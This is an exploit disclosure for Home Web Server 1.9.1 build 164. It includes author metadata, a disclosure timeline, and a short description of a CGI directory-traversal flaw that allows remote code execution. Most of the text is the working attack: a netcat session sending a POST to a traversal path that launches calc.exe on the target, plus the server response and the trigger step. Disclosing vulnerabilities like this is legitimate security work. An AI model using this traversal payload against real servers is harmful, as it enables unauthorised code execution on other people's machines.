Home Web Server 1.9.1 Build 164 Remote Code Execution

Home Web Server version 1.9.1 build 164 suffers from a remote code execution vulnerability.

MD5 | 348747640730fcabaf3acc2d3b4ed476

# Exploit Title: Home Web Server 1.9.1 build 164 - CGI Remote Code Execution
# Date: 26/05/2017
# Exploit Author: Guillaume Kaddouch
# Twitter: @gkweb76
# Blog: https://networkfilter.blogspot.com
# GitHub: https://github.com/gkweb76/exploits
# Vendor Homepage: http://downstairs.dnsalias.net/ (does not exist anymore)
# Software Link: http://download.cnet.com/Home-Web-Server/3000-2648_4-10652679.html
# Version: 1.9.1 (build 164)
# Tested on: Windows 7 SP1 Family x64 (FR)
# Category: Webapps

Disclosure Timeline:
2017-05-26: Vulnerability discovered
2017-05-26: Vendor website is down, no way to contact him

Description :
Home Web Server allows to call cgi programs via POST which are located into /cgi-bin folder. However by using a directory traversal,
it is possible to run any executable being on the remote host.

- Starts Home Web Server.
- Run this exploit from a remote Kali machine with netcat as below.

# Connect with netcat, then drop a single POST to call the executable you want
guillaume@kali:~/kiwi_syslog$ nc 80
POST /cgi-bin/../../../../../../../../Windows/system32/calc.exe HTTP/1.1

# Returned response
HTTP/1.1 400 Bad Request
Connection: close
Content-Length: 0
Server: My Web Server (HWS164)

[CTRL+C] : this is important to launch the executable we requested

Calc.exe has been launched on the remote host.

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